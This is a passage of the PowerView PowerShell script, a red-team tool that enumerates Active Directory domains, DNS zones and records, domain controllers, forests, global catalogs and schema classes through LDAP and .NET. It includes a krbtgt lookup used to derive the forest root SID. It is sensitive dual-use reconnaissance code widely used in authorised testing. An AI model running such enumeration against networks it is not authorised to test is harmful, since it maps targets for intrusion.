3786 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
3787 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
3788 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
3789 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
3790 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
3791 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
3792 $DNSSearcher1 = Get-DomainSearcher @SearcherArguments
3793
3794 if ($DNSSearcher1) {
3795 if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() }
3796 else { $Results = $DNSSearcher1.FindAll() }
3797 $Results | Where-Object {$_} | ForEach-Object {
3798 $Out = Convert-LDAPProperty -Properties $_.Properties
3799 $Out | Add-Member NoteProperty 'ZoneName' $Out.name
3800 $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
3801 $Out
3802 }
3803
3804 if ($Results) {
3805 try { $Results.dispose() }
3806 catch {
3807 Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
3808 }
3809 }
3810 $DNSSearcher1.dispose()
3811 }
3812
3813 $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones'
3814 $DNSSearcher2 = Get-DomainSearcher @SearcherArguments
3815
3816 if ($DNSSearcher2) {
3817 try {
3818 if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() }
3819 else { $Results = $DNSSearcher2.FindAll() }
3820 $Results | Where-Object {$_} | ForEach-Object {
3821 $Out = Convert-LDAPProperty -Properties $_.Properties
3822 $Out | Add-Member NoteProperty 'ZoneName' $Out.name
3823 $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
3824 $Out
3825 }
3826 if ($Results) {
3827 try { $Results.dispose() }
3828 catch {
3829 Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_"
3830 }
3831 }
3832 }
3833 catch {
3834 Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'"
3835 }
3836 $DNSSearcher2.dispose()
3837 }
3838 }
3839}
3840
3841
3842function Get-DomainDNSRecord {
3843<#
3844.SYNOPSIS
3845
3846Enumerates the Active Directory DNS records for a given zone.
3847
3848Author: Will Schroeder (@harmj0y)
3849License: BSD 3-Clause
3850Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord
3851
3852.DESCRIPTION
3853
3854Given a specific Active Directory DNS zone name, query for all 'dnsNode'
3855LDAP entries using that zone as the search base. Return all DNS entry results
3856and use Convert-DNSRecord to try to convert the binary DNS record blobs.
3857
3858.PARAMETER ZoneName
3859
3860Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone).
3861
3862.PARAMETER Domain
3863
3864The domain to query for zones, defaults to the current domain.
3865
3866.PARAMETER Server
3867
3868Specifies an Active Directory server (domain controller) to bind to for the search.
3869
3870.PARAMETER Properties
3871
3872Specifies the properties of the output object to retrieve from the server.
3873
3874.PARAMETER ResultPageSize
3875
3876Specifies the PageSize to set for the LDAP searcher object.
3877
3878.PARAMETER ServerTimeLimit
3879
3880Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
3881
3882.PARAMETER FindOne
3883
3884Only return one result object.
3885
3886.PARAMETER Credential
3887
3888A [Management.Automation.PSCredential] object of alternate credentials
3889for connection to the target domain.
3890
3891.EXAMPLE
3892
3893Get-DomainDNSRecord -ZoneName testlab.local
3894
3895Retrieve all records for the testlab.local zone.
3896
3897.EXAMPLE
3898
3899Get-DomainDNSZone | Get-DomainDNSRecord
3900
3901Retrieve all records for all zones in the current domain.
3902
3903.EXAMPLE
3904
3905Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local
3906
3907Retrieve all records for all zones in the dev.testlab.local domain.
3908
3909.OUTPUTS
3910
3911PowerView.DNSRecord
3912
3913Outputs custom PSObjects with detailed information about the DNS record entry.
3914#>
3915
3916 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
3917 [OutputType('PowerView.DNSRecord')]
3918 [CmdletBinding()]
3919 Param(
3920 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
3921 [ValidateNotNullOrEmpty()]
3922 [String]
3923 $ZoneName,
3924
3925 [ValidateNotNullOrEmpty()]
3926 [String]
3927 $Domain,
3928
3929 [ValidateNotNullOrEmpty()]
3930 [Alias('DomainController')]
3931 [String]
3932 $Server,
3933
3934 [ValidateNotNullOrEmpty()]
3935 [String[]]
3936 $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged',
3937
3938 [ValidateRange(1, 10000)]
3939 [Int]
3940 $ResultPageSize = 200,
3941
3942 [ValidateRange(1, 10000)]
3943 [Int]
3944 $ServerTimeLimit,
3945
3946 [Alias('ReturnOne')]
3947 [Switch]
3948 $FindOne,
3949
3950 [Management.Automation.PSCredential]
3951 [Management.Automation.CredentialAttribute()]
3952 $Credential = [Management.Automation.PSCredential]::Empty
3953 )
3954
3955 PROCESS {
3956 $SearcherArguments = @{
3957 'LDAPFilter' = '(objectClass=dnsNode)'
3958 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
3959 }
3960 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
3961 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
3962 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
3963 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
3964 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
3965 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
3966 $DNSSearcher = Get-DomainSearcher @SearcherArguments
3967
3968 if ($DNSSearcher) {
3969 if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() }
3970 else { $Results = $DNSSearcher.FindAll() }
3971 $Results | Where-Object {$_} | ForEach-Object {
3972 try {
3973 $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
3974 $Out | Add-Member NoteProperty 'ZoneName' $ZoneName
3975
3976 # convert the record and extract the properties
3977 if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
3978 # TODO: handle multiple nested records properly?
3979 $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]
3980 }
3981 else {
3982 $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord
3983 }
3984
3985 if ($Record) {
3986 $Record.PSObject.Properties | ForEach-Object {
3987 $Out | Add-Member NoteProperty $_.Name $_.Value
3988 }
3989 }
3990
3991 $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord')
3992 $Out
3993 }
3994 catch {
3995 Write-Warning "[Get-DomainDNSRecord] Error: $_"
3996 $Out
3997 }
3998 }
3999
4000 if ($Results) {
4001 try { $Results.dispose() }
4002 catch {
4003 Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_"
4004 }
4005 }
4006 $DNSSearcher.dispose()
4007 }
4008 }
4009}
4010
4011
4012function Get-Domain {
4013<#
4014.SYNOPSIS
4015
4016Returns the domain object for the current (or specified) domain.
4017
4018Author: Will Schroeder (@harmj0y)
4019License: BSD 3-Clause
4020Required Dependencies: None
4021
4022.DESCRIPTION
4023
4024Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
4025domain or the domain specified with -Domain X.
4026
4027.PARAMETER Domain
4028
4029Specifies the domain name to query for, defaults to the current domain.
4030
4031.PARAMETER Credential
4032
4033A [Management.Automation.PSCredential] object of alternate credentials
4034for connection to the target domain.
4035
4036.EXAMPLE
4037
4038Get-Domain -Domain testlab.local
4039
4040.EXAMPLE
4041
4042$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
4043$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
4044Get-Domain -Credential $Cred
4045
4046.OUTPUTS
4047
4048System.DirectoryServices.ActiveDirectory.Domain
4049
4050A complex .NET domain object.
4051
4052.LINK
4053
4054http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
4055#>
4056
4057 [OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
4058 [CmdletBinding()]
4059 Param(
4060 [Parameter(Position = 0, ValueFromPipeline = $True)]
4061 [ValidateNotNullOrEmpty()]
4062 [String]
4063 $Domain,
4064
4065 [Management.Automation.PSCredential]
4066 [Management.Automation.CredentialAttribute()]
4067 $Credential = [Management.Automation.PSCredential]::Empty
4068 )
4069
4070 PROCESS {
4071 if ($PSBoundParameters['Credential']) {
4072
4073 Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
4074
4075 if ($PSBoundParameters['Domain']) {
4076 $TargetDomain = $Domain
4077 }
4078 else {
4079 # if no domain is supplied, extract the logon domain from the PSCredential passed
4080 $TargetDomain = $Credential.GetNetworkCredential().Domain
4081 Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
4082 }
4083
4084 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
4085
4086 try {
4087 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
4088 }
4089 catch {
4090 Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
4091 }
4092 }
4093 elseif ($PSBoundParameters['Domain']) {
4094 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
4095 try {
4096 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
4097 }
4098 catch {
4099 Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
4100 }
4101 }
4102 else {
4103 try {
4104 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
4105 }
4106 catch {
4107 Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
4108 }
4109 }
4110 }
4111}
4112
4113
4114function Get-DomainController {
4115<#
4116.SYNOPSIS
4117
4118Return the domain controllers for the current (or specified) domain.
4119
4120Author: Will Schroeder (@harmj0y)
4121License: BSD 3-Clause
4122Required Dependencies: Get-DomainComputer, Get-Domain
4123
4124.DESCRIPTION
4125
4126Enumerates the domain controllers for the current or specified domain.
4127By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer
4128to search for domain controllers.
4129
4130.PARAMETER Domain
4131
4132The domain to query for domain controllers, defaults to the current domain.
4133
4134.PARAMETER Server
4135
4136Specifies an Active Directory server (domain controller) to bind to.
4137
4138.PARAMETER LDAP
4139
4140Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods.
4141
4142.PARAMETER Credential
4143
4144A [Management.Automation.PSCredential] object of alternate credentials
4145for connection to the target domain.
4146
4147.EXAMPLE
4148
4149Get-DomainController -Domain 'test.local'
4150
4151Determine the domain controllers for 'test.local'.
4152
4153.EXAMPLE
4154
4155Get-DomainController -Domain 'test.local' -LDAP
4156
4157Determine the domain controllers for 'test.local' using LDAP queries.
4158
4159.EXAMPLE
4160
4161'test.local' | Get-DomainController
4162
4163Determine the domain controllers for 'test.local'.
4164
4165.EXAMPLE
4166
4167$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
4168$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
4169Get-DomainController -Credential $Cred
4170
4171.OUTPUTS
4172
4173PowerView.Computer
4174
4175Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.
4176
4177System.DirectoryServices.ActiveDirectory.DomainController
4178
4179If -LDAP isn't specified.
4180#>
4181
4182 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4183 [OutputType('PowerView.Computer')]
4184 [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
4185 [CmdletBinding()]
4186 Param(
4187 [Parameter(Position = 0, ValueFromPipeline = $True)]
4188 [String]
4189 $Domain,
4190
4191 [ValidateNotNullOrEmpty()]
4192 [Alias('DomainController')]
4193 [String]
4194 $Server,
4195
4196 [Switch]
4197 $LDAP,
4198
4199 [Management.Automation.PSCredential]
4200 [Management.Automation.CredentialAttribute()]
4201 $Credential = [Management.Automation.PSCredential]::Empty
4202 )
4203
4204 PROCESS {
4205 $Arguments = @{}
4206 if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
4207 if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
4208
4209 if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {
4210 if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
4211
4212 # UAC specification for domain controllers
4213 $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
4214
4215 Get-DomainComputer @Arguments
4216 }
4217 else {
4218 $FoundDomain = Get-Domain @Arguments
4219 if ($FoundDomain) {
4220 $FoundDomain.DomainControllers
4221 }
4222 }
4223 }
4224}
4225
4226
4227function Get-Forest {
4228<#
4229.SYNOPSIS
4230
4231Returns the forest object for the current (or specified) forest.
4232
4233Author: Will Schroeder (@harmj0y)
4234License: BSD 3-Clause
4235Required Dependencies: ConvertTo-SID
4236
4237.DESCRIPTION
4238
4239Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current
4240forest or the forest specified with -Forest X.
4241
4242.PARAMETER Forest
4243
4244The forest name to query for, defaults to the current forest.
4245
4246.PARAMETER Credential
4247
4248A [Management.Automation.PSCredential] object of alternate credentials
4249for connection to the target forest.
4250
4251.EXAMPLE
4252
4253Get-Forest -Forest external.domain
4254
4255.EXAMPLE
4256
4257$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
4258$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
4259Get-Forest -Credential $Cred
4260
4261.OUTPUTS
4262
4263System.Management.Automation.PSCustomObject
4264
4265Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition
4266to the forest root domain SID.
4267#>
4268
4269 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4270 [OutputType('System.Management.Automation.PSCustomObject')]
4271 [CmdletBinding()]
4272 Param(
4273 [Parameter(Position = 0, ValueFromPipeline = $True)]
4274 [ValidateNotNullOrEmpty()]
4275 [String]
4276 $Forest,
4277
4278 [Management.Automation.PSCredential]
4279 [Management.Automation.CredentialAttribute()]
4280 $Credential = [Management.Automation.PSCredential]::Empty
4281 )
4282
4283 PROCESS {
4284 if ($PSBoundParameters['Credential']) {
4285
4286 Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"
4287
4288 if ($PSBoundParameters['Forest']) {
4289 $TargetForest = $Forest
4290 }
4291 else {
4292 # if no domain is supplied, extract the logon domain from the PSCredential passed
4293 $TargetForest = $Credential.GetNetworkCredential().Domain
4294 Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential"
4295 }
4296
4297 $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
4298
4299 try {
4300 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
4301 }
4302 catch {
4303 Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
4304 $Null
4305 }
4306 }
4307 elseif ($PSBoundParameters['Forest']) {
4308 $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
4309 try {
4310 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
4311 }
4312 catch {
4313 Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_"
4314 return $Null
4315 }
4316 }
4317 else {
4318 # otherwise use the current forest
4319 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
4320 }
4321
4322 if ($ForestObject) {
4323 # get the SID of the forest root
4324 if ($PSBoundParameters['Credential']) {
4325 $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid
4326 }
4327 else {
4328 $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid
4329 }
4330
4331 $Parts = $ForestSid -Split '-'
4332 $ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
4333 $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
4334 $ForestObject
4335 }
4336 }
4337}
4338
4339
4340function Get-ForestDomain {
4341<#
4342.SYNOPSIS
4343
4344Return all domains for the current (or specified) forest.
4345
4346Author: Will Schroeder (@harmj0y)
4347License: BSD 3-Clause
4348Required Dependencies: Get-Forest
4349
4350.DESCRIPTION
4351
4352Returns all domains for the current forest or the forest specified
4353by -Forest X.
4354
4355.PARAMETER Forest
4356
4357Specifies the forest name to query for domains.
4358
4359.PARAMETER Credential
4360
4361A [Management.Automation.PSCredential] object of alternate credentials
4362for connection to the target forest.
4363
4364.EXAMPLE
4365
4366Get-ForestDomain
4367
4368.EXAMPLE
4369
4370Get-ForestDomain -Forest external.local
4371
4372.EXAMPLE
4373
4374$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
4375$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
4376Get-ForestDomain -Credential $Cred
4377
4378.OUTPUTS
4379
4380System.DirectoryServices.ActiveDirectory.Domain
4381#>
4382
4383 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4384 [OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
4385 [CmdletBinding()]
4386 Param(
4387 [Parameter(Position = 0, ValueFromPipeline = $True)]
4388 [ValidateNotNullOrEmpty()]
4389 [String]
4390 $Forest,
4391
4392 [Management.Automation.PSCredential]
4393 [Management.Automation.CredentialAttribute()]
4394 $Credential = [Management.Automation.PSCredential]::Empty
4395 )
4396
4397 PROCESS {
4398 $Arguments = @{}
4399 if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
4400 if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
4401
4402 $ForestObject = Get-Forest @Arguments
4403 if ($ForestObject) {
4404 $ForestObject.Domains
4405 }
4406 }
4407}
4408
4409
4410function Get-ForestGlobalCatalog {
4411<#
4412.SYNOPSIS
4413
4414Return all global catalogs for the current (or specified) forest.
4415
4416Author: Will Schroeder (@harmj0y)
4417License: BSD 3-Clause
4418Required Dependencies: Get-Forest
4419
4420.DESCRIPTION
4421
4422Returns all global catalogs for the current forest or the forest specified
4423by -Forest X by using Get-Forest to retrieve the specified forest object
4424and the .FindAllGlobalCatalogs() to enumerate the global catalogs.
4425
4426.PARAMETER Forest
4427
4428Specifies the forest name to query for global catalogs.
4429
4430.PARAMETER Credential
4431
4432A [Management.Automation.PSCredential] object of alternate credentials
4433for connection to the target domain.
4434
4435.EXAMPLE
4436
4437Get-ForestGlobalCatalog
4438
4439.EXAMPLE
4440
4441$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
4442$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
4443Get-ForestGlobalCatalog -Credential $Cred
4444
4445.OUTPUTS
4446
4447System.DirectoryServices.ActiveDirectory.GlobalCatalog
4448#>
4449
4450 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4451 [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
4452 [CmdletBinding()]
4453 Param(
4454 [Parameter(Position = 0, ValueFromPipeline = $True)]
4455 [ValidateNotNullOrEmpty()]
4456 [String]
4457 $Forest,
4458
4459 [Management.Automation.PSCredential]
4460 [Management.Automation.CredentialAttribute()]
4461 $Credential = [Management.Automation.PSCredential]::Empty
4462 )
4463
4464 PROCESS {
4465 $Arguments = @{}
4466 if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
4467 if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
4468
4469 $ForestObject = Get-Forest @Arguments
4470
4471 if ($ForestObject) {
4472 $ForestObject.FindAllGlobalCatalogs()
4473 }
4474 }
4475}
4476
4477
4478function Get-ForestSchemaClass {
4479<#
4480.SYNOPSIS
4481
4482Helper that returns the Active Directory schema classes for the current
4483(or specified) forest or returns just the schema class specified by
4484-ClassName X.
4485
4486Author: Will Schroeder (@harmj0y)
4487License: BSD 3-Clause
4488Required Dependencies: Get-Forest
4489
4490.DESCRIPTION
4491
4492Uses Get-Forest to retrieve the current (or specified) forest. By default,
4493the .FindAllClasses() method is executed, returning a collection of
4494[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results.
4495If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
4496result for the specified class name is returned.
4497
4498.PARAMETER ClassName
4499
4500Specifies a ActiveDirectorySchemaClass name in the found schema to return.
4501
4502.PARAMETER Forest
4503
4504The forest to query for the schema, defaults to the current forest.
4505
4506.PARAMETER Credential
4507
4508A [Management.Automation.PSCredential] object of alternate credentials
4509for connection to the target domain.
4510
4511.EXAMPLE
4512
4513Get-ForestSchemaClass
4514
4515Returns all domain schema classes for the current forest.
4516
4517.EXAMPLE
4518
4519Get-ForestSchemaClass -Forest dev.testlab.local
4520
4521Returns all domain schema classes for the external.local forest.
4522
4523.EXAMPLE
4524
4525Get-ForestSchemaClass -ClassName user -Forest external.local
4526
4527Returns the user schema class for the external.local domain.
4528
4529.EXAMPLE
4530
4531$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
4532$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
4533Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred
4534
4535Returns the user schema class for the external.local domain using
4536the specified alternate credentials.
4537
4538.OUTPUTS
4539
4540[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
4541
4542An ActiveDirectorySchemaClass returned from the found schema.
4543#>
4544
4545 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4546 [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
4547 [CmdletBinding()]
4548 Param(
4549 [Parameter(Position = 0, ValueFromPipeline = $True)]
4550 [Alias('Class')]
4551 [ValidateNotNullOrEmpty()]
4552 [String[]]
4553 $ClassName,
4554
4555 [Alias('Name')]
4556 [ValidateNotNullOrEmpty()]
4557 [String]
4558 $Forest,
4559
4560 [Management.Automation.PSCredential]
4561 [Management.Automation.CredentialAttribute()]
4562 $Credential = [Management.Automation.PSCredential]::Empty
4563 )
4564
4565 PROCESS {
4566 $Arguments = @{}
4567 if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
4568 if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
4569
4570 $ForestObject = Get-Forest @Arguments
4571
4572 if ($ForestObject) {
4573 if ($PSBoundParameters['ClassName']) {
4574 ForEach ($TargetClass in $ClassName) {
4575 $ForestObject.Schema.FindClass($TargetClass)
4576 }
4577 }
4578 else {
4579 $ForestObject.Schema.FindAllClasses()
4580 }
4581 }
4582 }
4583}
4584
4585
4586function Find-DomainObjectPropertyOutlier {
4587<#
4588.SYNOPSIS
4589
4590Finds user/group/computer objects in AD that have 'outlier' properties set.
4591
4592Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
4593License: BSD 3-Clause
4594Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer
4595
4596.DESCRIPTION
4597
4598A 'reference' set of property names is calculated, either from a standard set preserved
4599for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
4600from the property names of the passed -ReferenceObject. Every user/group/computer object
4601(depending on determined class) are enumerated, and for each object, if the object has a
4602'non-standard' property set (meaning a property not held by the reference set), the object's
4603samAccountName, property name, and property value are output to the pipeline.
4604
4605.PARAMETER ClassName
4606
4607Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
4608If -ReferenceObject is specified, this will be automatically extracted, if possible.
4609
4610.PARAMETER ReferencePropertySet
4611
4612Specifies an array of property names to diff against the class schema.
4613
4614.PARAMETER ReferenceObject
4615
4616Specicifes the PowerView user/group/computer object to extract property names
4617from to use as the reference set.
4618
4619.PARAMETER Domain
4620
4621Specifies the domain to use for the query, defaults to the current domain.
4622
4623.PARAMETER LDAPFilter
4624
4625Specifies an LDAP query string that is used to filter Active Directory objects.
4626
4627.PARAMETER SearchBase
4628
4629The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
4630Useful for OU queries.
4631
4632.PARAMETER Server
4633
4634Specifies an Active Directory server (domain controller) to bind to.
4635
4636.PARAMETER SearchScope
4637
4638Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
4639
4640.PARAMETER ResultPageSize
4641
4642Specifies the PageSize to set for the LDAP searcher object.
4643
4644.PARAMETER ServerTimeLimit
4645
4646Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
4647
4648.PARAMETER Tombstone
4649
4650Switch. Specifies that the searcher should also return deleted/tombstoned objects.
4651
4652.PARAMETER Credential
4653
4654A [Management.Automation.PSCredential] object of alternate credentials
4655for connection to the target domain.
4656
4657.EXAMPLE
4658
4659Find-DomainObjectPropertyOutlier -ClassName 'User'
4660
4661Enumerates users in the current domain with 'outlier' properties filled in.
4662
4663.EXAMPLE
4664
4665Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local
4666
4667Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
4668
4669.EXAMPLE
4670
4671Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
4672
4673Enumerates computers in the current domain with 'outlier' properties filled in.
4674
4675.OUTPUTS
4676
4677PowerView.PropertyOutlier
4678
4679Custom PSObject with translated object property outliers.
4680#>
4681
4682 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4683 [OutputType('PowerView.PropertyOutlier')]
4684 [CmdletBinding(DefaultParameterSetName = 'ClassName')]
4685 Param(
4686 [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]
4687 [Alias('Class')]
4688 [ValidateSet('User', 'Group', 'Computer')]
4689 [String]
4690 $ClassName,
4691
4692 [ValidateNotNullOrEmpty()]
4693 [String[]]
4694 $ReferencePropertySet,
4695
4696 [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')]
4697 [PSCustomObject]
4698 $ReferenceObject,
4699
4700 [ValidateNotNullOrEmpty()]
4701 [String]
4702 $Domain,
4703
4704 [ValidateNotNullOrEmpty()]
4705 [Alias('Filter')]
4706 [String]
4707 $LDAPFilter,
4708
4709 [ValidateNotNullOrEmpty()]
4710 [Alias('ADSPath')]
4711 [String]
4712 $SearchBase,
4713
4714 [ValidateNotNullOrEmpty()]
4715 [Alias('DomainController')]
4716 [String]
4717 $Server,
4718
4719 [ValidateSet('Base', 'OneLevel', 'Subtree')]
4720 [String]
4721 $SearchScope = 'Subtree',
4722
4723 [ValidateRange(1, 10000)]
4724 [Int]
4725 $ResultPageSize = 200,
4726
4727 [ValidateRange(1, 10000)]
4728 [Int]
4729 $ServerTimeLimit,
4730
4731 [Switch]
4732 $Tombstone,
4733
4734 [Management.Automation.PSCredential]
4735 [Management.Automation.CredentialAttribute()]
4736 $Credential = [Management.Automation.PSCredential]::Empty
4737 )
4738
4739 BEGIN {
4740 $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated')
4741
4742 $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated')
4743
4744 $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated')
4745
4746 $SearcherArguments = @{}
4747 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
4748 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
